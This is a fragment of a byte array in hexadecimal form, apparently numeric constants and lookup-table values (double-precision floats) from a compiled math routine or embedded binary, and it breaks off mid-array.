0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0xc9, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xc5, 0x3f, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0xf8, 0x8f, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xfd, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x3f, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0xee, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf1, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe6, 0x54, 0x55, 0x55, 0x55, 0x55, 0xb5, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd4, 0xc6, 0xba, 0x99, 0x99, 0x99, 0x89, 0x3f, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9f, 0x51, 0xf1, 0x07, - 0x23, 0x49, 0x62, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xf0, 0xff, 0x5d, 0xc8, 0x34, 0x80, 0x3c, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, - 0x9e, 0xbd, 0x5b, 0x3f, 0x00, 0x00, 0x00, 0x70, 0xd4, 0xaf, 0x6b, 0x3f, - 0x00, 0x00, 0x00, 0x60, 0x95, 0xb9, 0x74, 0x3f, 0x00, 0x00, 0x00, 0xa0, - 0x76, 0x94, 0x7b, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0x4d, 0x34, 0x81, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0x08, 0x9b, 0x84, 0x3f, 0x00, 0x00, 0x00, 0xc0, - 0x71, 0xfe, 0x87, 0x3f, 0x00, 0x00, 0x00, 0x80, 0x90, 0x5e, 0x8b, 0x3f, - 0x00, 0x00, 0x00, 0xf0, 0x6a, 0xbb, 0x8e, 0x3f, 0x00, 0x00, 0x00, 0xa0, - 0x83, 0x0a, 0x91, 0x3f, 0x00, 0x00, 0x00, 0xe0, 0xb5, 0xb5, 0x92, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0x4f, 0x5f, 0x94, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x53, 0x07, 0x96, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0xc3, 0xad, 0x97, 0x3f, - 0x00, 0x00, 0x00, 0xf0, 0xa4, 0x52, 0x99, 0x3f, 0x00, 0x00, 0x00, 0x20, - 0xf9, 0xf5, 0x9a, 0x3f, 0x00, 0x00, 0x00, 0x70, 0xc3, 0x97, 0x9c, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0x06, 0x38, 0x9e, 0x3f, 0x00, 0x00, 0x00, 0xb0, - 0xc5, 0xd6, 0x9f, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0x01, 0xba, 0xa0, 0x3f, - 0x00, 0x00, 0x00, 0x20, 0xe1, 0x87, 0xa1, 0x3f, 0x00, 0x00, 0x00, 0xc0, - 0x02, 0x55, 0xa2, 0x3f, 0x00, 0x00, 0x00, 0xc0, 0x67, 0x21, 0xa3, 0x3f, - 0x00, 0x00, 0x00, 0x90, 0x11, 0xed, 0xa3, 0x3f, 0x00, 0x00, 0x00, 0x80, - 0x01, 0xb8, 0xa4, 0x3f, 0x00, 0x00, 0x00, 0xe0, 0x38, 0x82, 0xa5, 0x3f, - 0x00, 0x00, 0x00, 0x10, 0xb9, 0x4b, 0xa6, 0x3f, 0x00, 0x00, 0x00, 0x40, - 0x83, 0x14, 0xa7, 0x3f, 0x00, 0x00, 0x00, 0xc0, 0x98, 0xdc, 0xa7, 0x3f, - 0x00, 0x00, 0x00, 0xd0, 0xfa, 0xa3, 0xa8, 0x3f, 0x00, 0x00, 0x00, 0xc0, - 0xaa, 0x6a, 0xa9, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0xa9, 0x30, 0xaa, 0x3f, - 0x00, 0x00, 0x00, 0x20, 0xf9, 0xf5, 0xaa, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x9a, 0xba, 0xab, 0x3f, 0x00, 0x00, 0x00, 0x90, 0x8d, 0x7e, 0xac, 0x3f, - 0x00, 0x00, 0x00, 0x10, 0xd5, 0x41, 0xad, 0x3f, 0x00, 0x00, 0x00, 0xa0, - 0x71, 0x04, 0xae, 0x3f, 0x00, 0x00, 0x00, 0x70, 0x64, 0xc6, 0xae, 0x3f, - 0x00, 0x00, 0x00, 0xb0, 0xae, 0x87, 0xaf, 0x3f, 0x00, 0x00, 0x00, 0xc0, - 0x28, 0x24, 0xb0, 0x3f, 0x00, 0x00, 0x00, 0xf0, 0x26, 0x84, 0xb0, 0x3f, - 0x00, 0x00, 0x00, 0x90, 0xd2, 0xe3, 0xb0, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x2c, 0x43, 0xb1, 0x3f, 0x00, 0x00, 0x00, 0x40, 0x34, 0xa2, 0xb1, 0x3f, - 0x00, 0x00, 0x00, 0x60, 0xeb, 0x00, 0xb2, 0x3f, 0x00, 0x00, 0x00, 0x10, - 0x52, 0x5f, 0xb2, 0x3f, 0x00, 0x00, 0x00, 0xe0, 0x68, 0xbd, 0xb2, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0x30, 0x1b, 0xb3, 0x3f, 0x00, 0x00, 0x00, 0xe0, - 0xa8, 0x78, 0xb3, 0x3f, 0x00, 0x00, 0x00, 0x30, 0xd3, 0xd5, 0xb3, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0xaf, 0x32, 0xb4, 0x3f, 0x00, 0x00, 0x00, 0xd0, - 0x3e, 0x8f, 0xb4, 0x3f, 0x00, 0x00, 0x00, 0x20, 0x81, 0xeb, 0xb4, 0x3f, - 0x00, 0x00, 0x00, 0x30, 0x77, 0x47, 0xb5, 0x3f, 0x00, 0x00, 0x00, 0x60, - 0x21, 0xa3, 0xb5, 0x3f, 0x00, 0x00, 0x00, 0x40, 0x80, 0xfe, 0xb5, 0x3f, - 0x00, 0x00, 0x00, 0x40, 0x94, 0x59, 0xb6, 0x3f, 0x00, 0x00, 0x00, 0xf0, - 0x5d, 0xb4, 0xb6, 0x3f, 0x00, 0x00, 0x00, 0xb0, 0xdd, 0x0e, 0xb7, 0x3f, - 0x00, 0x00, 0x00, 0x00, 0x14, 0x69, 0xb7, 0x3f, 0x00, 0x00, 0x00, 0x60, - 0x01, 0xc3, 0xb7, 0x3f, 0x00, 0x00, 0x00, 0x30, 0xa6, 0x1c, 0xb8, 0x3f, - 0x00, 0x00, 0x00, 0x00, 0x03, 0x76, 0xb8, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x18, 0xcf, 0xb8, 0x3f, 0x00, 0x00, 0x00, 0x40, 0xe6, 0x27, 0xb9, 0x3f, - 0x00, 0x00, 0x00, 0x90, 0x6d, 0x80, 0xb9, 0x3f, 0x00, 0x00, 0x00, 0xa0, - 0xae, 0xd8, 0xb9, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0xa9, 0x30, 0xba, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0x5f, 0x88, 0xba, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0xd0, 0xdf, 0xba, 0x3f, 0x00, 0x00, 0x00, 0xb0, 0xfc, 0x36, 0xbb, 0x3f, - 0x00, 0x00, 0x00, 0xd0, 0xe4, 0x8d, 0xbb, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x89, 0xe4, 0xbb, 0x3f, 0x00, 0x00, 0x00, 0x40, 0xea, 0x3a, 0xbc, 0x3f, - 0x00, 0x00, 0x00, 0x70, 0x08, 0x91, 0xbc, 0x3f, 0x00, 0x00, 0x00, 0x10, - 0xe4, 0xe6, 0xbc, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0x7d, 0x3c, 0xbd, 0x3f, - 0x00, 0x00, 0x00, 0x80, 0xd5, 0x91, 0xbd, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0xec, 0xe6, 0xbd, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0xc1, 0x3b, 0xbe, 0x3f, - 0x00, 0x00, 0x00, 0xb0, 0x56, 0x90, 0xbe, 0x3f, 0x00, 0x00, 0x00, 0xa0, - 0xab, 0xe4, 0xbe, 0x3f, 0x00, 0x00, 0x00, 0xc0, 0xc0, 0x38, 0xbf, 0x3f, - 0x00, 0x00, 0x00, 0x80, 0x96, 0x8c, 0xbf, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x2d, 0xe0, 0xbf, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0xc2, 0x19, 0xc0, 0x3f, - 0x00, 0x00, 0x00, 0x70, 0x4f, 0x43, 0xc0, 0x3f, 0x00, 0x00, 0x00, 0x60, - 0xbd, 0x6c, 0xc0, 0x3f, 0x00, 0x00, 0x00, 0x80, 0x0c, 0x96, 0xc0, 0x3f, - 0x00, 0x00, 0x00, 0x00, 0x3d, 0xbf, 0xc0, 0x3f, 0x00, 0x00, 0x00, 0x10, - 0x4f, 0xe8, 0xc0, 0x3f, 0x00, 0x00, 0x00, 0xf0, 0x42, 0x11, 0xc1, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0x18, 0x3a, 0xc1, 0x3f, 0x00, 0x00, 0x00, 0x80, - 0xd0, 0x62, 0xc1, 0x3f, 0x00, 0x00, 0x00, 0x90, 0x6a, 0x8b, 0xc1, 0x3f, - 0x00, 0x00, 0x00, 0x10, 0xe7, 0xb3, 0xc1, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x46, 0xdc, 0xc1, 0x3f, 0x00, 0x00, 0x00, 0x10, 0x88, 0x04, 0xc2, 0x3f, - 0x00, 0x00, 0x00, 0xe0, 0xac, 0x2c, 0xc2, 0x3f, 0x00, 0x00, 0x00, 0xd0, - 0xb4, 0x54, 0xc2, 0x3f, 0x00, 0x00, 0x00, 0xf0, 0x9f, 0x7c, 0xc2, 0x3f, - 0x00, 0x00, 0x00, 0x80, 0x6e, 0xa4, 0xc2, 0x3f, 0x00, 0x00, 0x00, 0xb0, - 0x20, 0xcc, 0xc2, 0x3f, 0x00, 0x00, 0x00, 0x90, 0xb6, 0xf3, 0xc2, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0x30, 0x1b, 0xc3, 0x3f, 0x00, 0x00, 0x00, 0x20, - 0x8e, 0x42, 0xc3, 0x3f, 0x00, 0x00, 0x00, 0x20, 0xd0, 0x69, 0xc3, 0x3f, - 0x00, 0x00, 0x00, 0x80, 0xf6, 0x90, 0xc3, 0x3f, 0x00, 0x00, 0x00, 0x60, - 0x01, 0xb8, 0xc3, 0x3f, 0x00, 0x00, 0x00, 0xe0, 0xf0, 0xde, 0xc3, 0x3f, - 0x00, 0x00, 0x00, 0x30, 0xc5, 0x05, 0xc4, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0x7e, 0x2c, 0xc4, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0x1c, 0x53, 0xc4, 0x3f, - 0x00, 0x00, 0x00, 0x70, 0xa0, 0x79, 0xc4, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0x09, 0xa0, 0xc4, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x58, 0xc6, 0xc4, 0x3f, - 0x00, 0x00, 0x00, 0x30, 0x8c, 0xec, 0xc4, 0x3f, 0x00, 0x00, 0x00, 0x40, - 0xa6, 0x12, 0xc5, 0x3f, 0x00, 0x00, 0x00, 0x30, 0xa6, 0x38, 0xc5, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0x8c, 0x5e, 0xc5, 0x3f, 0x00, 0x00, 0x00, 0x90, - 0x58, 0x84, 0xc5, 0x3f, 0x00, 0x00, 0x00, 0x40, 0x0b, 0xaa, 0xc5, 0x3f, - 0x00, 0x00, 0x00, 0x70, 0xa4, 0xcf, 0xc5, 0x3f, 0x00, 0x00, 0x00, 0x40, - 0x24, 0xf5, 0xc5, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0x8a, 0x1a, 0xc6, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0xd8, 0x3f, 0xc6, 0x3f, 0x00, 0x00, 0x00, 0xd0, - 0x0c, 0x65, 0xc6, 0x3f, 0x00, 0x00, 0x00, 0x80, 0x28, 0x8a, 0xc6, 0x3f, - 0x00, 0x00, 0x00, 0x80, 0x2b, 0xaf, 0xc6, 0x3f, 0x00, 0x00, 0x00, 0xe0, - 0x15, 0xd4, 0xc6, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0xe7, 0xf8, 0xc6, 0x3f, - 0x00, 0x00, 0x00, 0x70, 0xa1, 0x1d, 0xc7, 0x3f, 0x00, 0x00, 0x00, 0xe0, - 0x42, 0x42, 0xc7, 0x3f, 0x00, 0x00, 0x00, 0x40, 0xcc, 0x66, 0xc7, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0x3d, 0x8b, 0xc7, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x97, 0xaf, 0xc7, 0x3f, 0x00, 0x00, 0x00, 0x10, 0xd9, 0xd3, 0xc7, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0x03, 0xf8, 0xc7, 0x3f, 0x00, 0x00, 0x00, 0x20, - 0x16, 0x1c, 0xc8, 0x3f, 0x00, 0x00, 0x00, 0x90, 0x11, 0x40, 0xc8, 0x3f, - 0x00, 0x00, 0x00, 0xc0, 0xf5, 0x63, 0xc8, 0x3f, 0x00, 0x00, 0x00, 0xe0, - 0xc2, 0x87, 0xc8, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x79, 0xab, 0xc8, 0x3f, - 0x00, 0x00, 0x00, 0x30, 0x18, 0xcf, 0xc8, 0x3f, 0x00, 0x00, 0x00, 0xa0, - 0xa0, 0xf2, 0xc8, 0x3f, 0x00, 0x00, 0x00, 0x70, 0x12, 0x16, 0xc9, 0x3f, - 0x00, 0x00, 0x00, 0xb0, 0x6d, 0x39, 0xc9, 0x3f, 0x00, 0x00, 0x00, 0x80, - 0xb2, 0x5c, 0xc9, 0x3f, 0x00, 0x00, 0x00, 0x00, 0xe1, 0x7f, 0xc9, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0xf9, 0xa2, 0xc9, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0xfb, 0xc5, 0xc9, 0x3f, 0x00, 0x00, 0x00, 0xb0, 0xe7, 0xe8, 0xc9, 0x3f, - 0x00, 0x00, 0x00, 0xf0, 0xbd, 0x0b, 0xca, 0x3f, 0x00, 0x00, 0x00, 0x80, - 0x7e, 0x2e, 0xca, 0x3f, 0x00, 0x00, 0x00, 0x60, 0x29, 0x51, 0xca, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0xbe, 0x73, 0xca, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0x3e, 0x96, 0xca, 0x3f, 0x00, 0x00, 0x00, 0xf0, 0xa8, 0xb8, 0xca, 0x3f, - 0x00, 0x00, 0x00, 0x20, 0xfe, 0xda, 0xca, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x3e, 0xfd, 0xca, 0x3f, 0x00, 0x00, 0x00, 0x30, 0x69, 0x1f, 0xcb, 0x3f, - 0x00, 0x00, 0x00, 0x40, 0x7f, 0x41, 0xcb, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0x80, 0x63, 0xcb, 0x3f, 0x00, 0x00, 0x00, 0xf0, 0x6c, 0x85, 0xcb, 0x3f, - 0x00, 0x00, 0x00, 0xb0, 0x44, 0xa7, 0xcb, 0x3f, 0x00, 0x00, 0x00, 0xf0, - 0x07, 0xc9, 0xcb, 0x3f, 0x00, 0x00, 0x00, 0xc0, 0xb6, 0xea, 0xcb, 0x3f, - 0x00, 0x00, 0x00, 0x30, 0x51, 0x0c, 0xcc, 0x3f, 0x00, 0x00, 0x00, 0x50, - 0xd7, 0x2d, 0xcc, 0x3f, 0x00, 0x00, 0x00, 0x50, 0x49, 0x4f, 0xcc, 0x3f, - 0x00, 0x00, 0x00, 0x40, 0xa7, 0x70, 0xcc, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0xf1, 0x91, 0xcc, 0x3f, 0x00, 0x00, 0x00, 0x40, 0x27, 0xb3, 0xcc, 0x3f, - 0x00, 0x00, 0x00, 0x80, 0x49, 0xd4, 0xcc, 0x3f, 0x00, 0x00, 0x00, 0x10, - 0x58, 0xf5, 0xcc, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x53, 0x16, 0xcd, 0x3f, - 0x00, 0x00, 0x00, 0x60, 0x3a, 0x37, 0xcd, 0x3f, 0x00, 0x00, 0x00, 0x60, - 0x0e, 0x58, 0xcd, 0x3f, 0x00, 0x00, 0x00, 0x00, 0xcf, 0x78, 0xcd, 0x3f, - 0x00, 0x00, 0x00, 0x70, 0x7c, 0x99, 0xcd, 0x3f, 0x00, 0x00, 0x00, 0xa0, - 0x16, 0xba, 0xcd, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0x9d, 0xda, 0xcd, 0x3f, - 0x00, 0x00, 0x00, 0xf0, 0x11, 0xfb, 0xcd, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x73, 0x1b, 0xce, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0xc1, 0x3b, 0xce, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0xfd, 0x5b, 0xce, 0x3f, 0x00, 0x00, 0x00, 0x60, - 0x26, 0x7c, 0xce, 0x3f, 0x00, 0x00, 0x00, 0xe0, 0x3c, 0x9c, 0xce, 0x3f, - 0x00, 0x00, 0x00, 0xe0, 0x40, 0xbc, 0xce, 0x3f, 0x00, 0x00, 0x00, 0x80, - 0x32, 0xdc, 0xce, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0x11, 0xfc, 0xce, 0x3f, - 0x00, 0x00, 0x00, 0xe0, 0xde, 0x1b, 0xcf, 0x3f, 0x00, 0x00, 0x00, 0xd0, - 0x99, 0x3b, 0xcf, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0x42, 0x5b, 0xcf, 0x3f, - 0x00, 0x00, 0x00, 0x80, 0xd9, 0x7a, 0xcf, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0x5e, 0x9a, 0xcf, 0x3f, 0x00, 0x00, 0x00, 0x90, 0xd1, 0xb9, 0xcf, 0x3f, - 0x00, 0x00, 0x00, 0xf0, 0x32, 0xd9, 0xcf, 0x3f, 0x00, 0x00, 0x00, 0xa0, - 0x82, 0xf8, 0xcf, 0x3f, 0x00, 0x00, 0x00, 0x50, 0xe0, 0x0b, 0xd0, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0x76, 0x1b, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x04, 0x2b, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0x10, 0x89, 0x3a, 0xd0, 0x3f, - 0x00, 0x00, 0x00, 0x40, 0x05, 0x4a, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0xe0, - 0x78, 0x59, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0xf0, 0xe3, 0x68, 0xd0, 0x3f, - 0x00, 0x00, 0x00, 0x70, 0x46, 0x78, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0x80, - 0xa0, 0x87, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0x10, 0xf2, 0x96, 0xd0, 0x3f, - 0x00, 0x00, 0x00, 0x30, 0x3b, 0xa6, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0xf0, - 0x7b, 0xb5, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0x50, 0xb4, 0xc4, 0xd0, 0x3f, - 0x00, 0x00, 0x00, 0x60, 0xe4, 0xd3, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x0c, 0xe3, 0xd0, 0x3f, 0x00, 0x00, 0x00, 0xc0, 0x2b, 0xf2, 0xd0, 0x3f, - 0x00, 0x00, 0x00, 0x10, 0x43, 0x01, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0x40, - 0x52, 0x10, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0x40, 0x59, 0x1f, 0xd1, 0x3f, - 0x00, 0x00, 0x00, 0x30, 0x58, 0x2e, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x4f, 0x3d, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0x3d, 0x4c, 0xd1, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0x24, 0x5b, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0x03, 0x6a, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0x50, 0xda, 0x78, 0xd1, 0x3f, - 0x00, 0x00, 0x00, 0x40, 0xa9, 0x87, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0x60, - 0x70, 0x96, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0x2f, 0xa5, 0xd1, 0x3f, - 0x00, 0x00, 0x00, 0x10, 0xe7, 0xb3, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0xc0, - 0x96, 0xc2, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0xb0, 0x3e, 0xd1, 0xd1, 0x3f, - 0x00, 0x00, 0x00, 0xf0, 0xde, 0xdf, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0x70, - 0x77, 0xee, 0xd1, 0x3f, 0x00, 0x00, 0x00, 0x60, 0x08, 0xfd, 0xd1, 0x3f, - 0x00, 0x00, 0x00, 0xa0, 0x91, 0x0b, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0x50, - 0x13, 0x1a, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0x70, 0x8d, 0x28, 0xd2, 0x3f, - 0x00, 0x00, 0x00, 0x10, 0x00, 0x37, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0x30, - 0x6b, 0x45, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0xd0, 0xce, 0x53, 0xd2, 0x3f, - 0x00, 0x00, 0x00, 0x00, 0x2b, 0x62, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0xd0, - 0x7f, 0x70, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0x40, 0xcd, 0x7e, 0xd2, 0x3f, - 0x00, 0x00, 0x00, 0x60, 0x13, 0x8d, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0x20, - 0x52, 0x9b, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0xa0, 0x89, 0xa9, 0xd2, 0x3f, - 0x00, 0x00, 0x00, 0xe0, 0xb9, 0xb7, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0xe0, - 0xe2, 0xc5, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0xb0, 0x04, 0xd4, 0xd2, 0x3f, - 0x00, 0x00, 0x00, 0x50, 0x1f, 0xe2, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0xc0, - 0x32, 0xf0, 0xd2, 0x3f, 0x00, 0x00, 0x00, 0x20, 0x3f, 0xfe, 0xd2, 0x3f, - 0x00, 0x00, 0x00, 0x70, 0x44, 0x0c, 0xd3, 0x3f, 0x00, 0x00, 0x00, 0xb0, - 0x42, 0x1a, 0xd3, 0x3f, 0x00, 0x00, 0x00, 0xe0, 0x39, 0x28, 0xd3, 0x3f, - 0x00, 0x00, 0x00, 0x10, 0x2a, 0x36, 0xd3, 0x3f, 0x00, 0x00, 0x00, 0x50, - 0x13, 0x44, 0xd3, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8f, 0x20, 0xb2, 0x22, - 0xbc, 0x0a, 0xb2, 0x3d, 0xd4, 0x0d, 0x2e, 0x33, 0x69, 0x0f, 0xb1, 0x3d, - 0x57, 0xd2, 0x7e, 0xe8, 0x0d, 0x95, 0xce, 0x3d, 0x69, 0x6d, 0x62, 0x3b, - 0x44, 0xf3, 0xd3, 0x3d, 0x57, 0x3e, 0x36, 0xa5, 0xea, 0x5a, 0xf4, 0x3d, - 0x0b, 0xbf, 0xe1, 0x3c, 0x68, 0x43, 0xc4, 0x3d, 0x11, 0xa5, 0xc6, 0x60, - 0xcd, 0x89, 0xf9, 0x3d, 0x9f, 0x2e, 0x1f, 0x20, 0x6f, 0x62, 0xfd, 0x3d, - 0xcd, 0xbd, 0xda, 0xb8, 0x8b, 0x4f, 0xe9, 0x3d, 0x15, 0x30, 0x42, 0xef, - 0xd8, 0x88, 0x00, 0x3e, 0xad, 0x79, 0x2b, 0xa6, 0x13, 0x04, 0x08, 0x3e, - 0xc4, 0xd3, 0xee, 0xc0, 0x17, 0x97, 0x05, 0x3e, 0x02, 0x49, 0xd4, 0xad, - 0x77, 0x4a, 0xad, 0x3d, 0x0e, 0x30, 0x37, 0xf0, 0x3f, 0x76, 0x0e, 0x3e, - 0xc3, 0xf6, 0x06, 0x47, 0xd7, 0x62, 0xe1, 0x3d, 0x14, 0xbc, 0x4d, 0x1f, - 0xcc, 0x01, 0x06, 0x3e, 0xbf, 0xe5, 0xf6, 0x51, 0xe0, 0xf3, 0xea, 0x3d, - 0xeb, 0xf3, 0x1a, 0x1e, 0x0b, 0x7a, 0x09, 0x3e, 0xc7, 0x02, 0xc0, 0x70, - 0x89, 0xa3, 0xc0, 0x3d, 0x51, 0xc7, 0x57, 0x00, 0x00, 0x2e, 0x10, 0x3e, - 0x0e, 0x6e, 0xcd, 0xee, 0x00, 0x5b, 0x15, 0x3e, 0xaf, 0xb5, 0x03, 0x70, - 0x29, 0x86, 0xdf, 0x3d, 0x6d, 0xa3, 0x36, 0xb3, 0xb9, 0x57, 0x10, 0x3e, - 0x4f, 0xea, 0x06, 0x4a, 0xc8, 0x4b, 0x13, 0x3e, 0xad, 0xbc, 0xa1, 0x9e, - 0xda, 0x43, 0x16, 0x3e, 0x2a, 0xea, 0xf7, 0xb4, 0xa7, 0x66, 0x1d, 0x3e, - 0xef, 0xfc, 0xf7, 0x38, 0xe0, 0xb2, 0xf6, 0x3d, 0x88, 0xf0, 0x70, 0xc6, - 0x54, 0xe9, 0xf3, 0x3d, 0xb3, 0xca, 0x3a, 0x09, 0x09, 0x72, 0x04, 0x3e, - 0xa7, 0x5d, 0x27, 0xe7, 0x8f, 0x70, 0x1d, 0x3e, 0xe7, 0xb9, 0x71, 0x77, - 0x9e, 0xdf, 0x1f, 0x3e, 0x60, 0x06, 0x0a, 0xa7, 0xbf, 0x27, 0x08, 0x3e, - 0x14, 0xbc, 0x4d, 0x1f, 0xcc, 0x01, 0x16, 0x3e, 0x5b, 0x5e, 0x6a, 0x10, - 0xf6, 0x37, 0x06, 0x3e, 0x4b, 0x62, 0x7c, 0xf1, 0x13, 0x6a, 0x12, 0x3e, - 0x3a, 0x62, 0x80, 0xce, 0xb2, 0x3e, 0x09, 0x3e, 0xde, 0x94, 0x15, 0xe9, - 0xd1, 0x30, 0x14, 0x3e, 0x31, 0xa0, 0x8f, 0x10, 0x10, 0x6b, 0x1d, 0x3e, - 0x41, 0xf2, 0xba, 0x0b, 0x9c, 0x87, 0x16, 0x3e, 0x2b, 0xbc, 0xa6, 0x5e, - 0x01, 0x08, 0xff, 0x3d, 0x6c, 0x67, 0xc6, 0xcd, 0x3d, 0xb6, 0x29, 0x3e, - 0x2c, 0xab, 0xc4, 0xbc, 0x2c, 0x02, 0x2b, 0x3e, 0x44, 0x65, 0xdd, 0x7d, - 0xd0, 0x17, 0xf9, 0x3d, 0x9e, 0x37, 0x03, 0x57, 0x60, 0x40, 0x15, 0x3e, - 0x60, 0x1b, 0x7a, 0x94, 0x8b, 0xd1, 0x0c, 0x3e, 0x7e, 0xa9, 0x7c, 0x27, - 0x65, 0xad, 0x17, 0x3e, 0xa9, 0x5f, 0x9f, 0xc5, 0x4d, 0x88, 0x11, 0x3e, - 0x82, 0xd0, 0x06, 0x60, 0xc4, 0x11, 0x17, 0x3e, 0xf8, 0x08, 0x31, 0x3c, - 0x2e, 0x09, 0x2f, 0x3e, 0x3a, 0xe1, 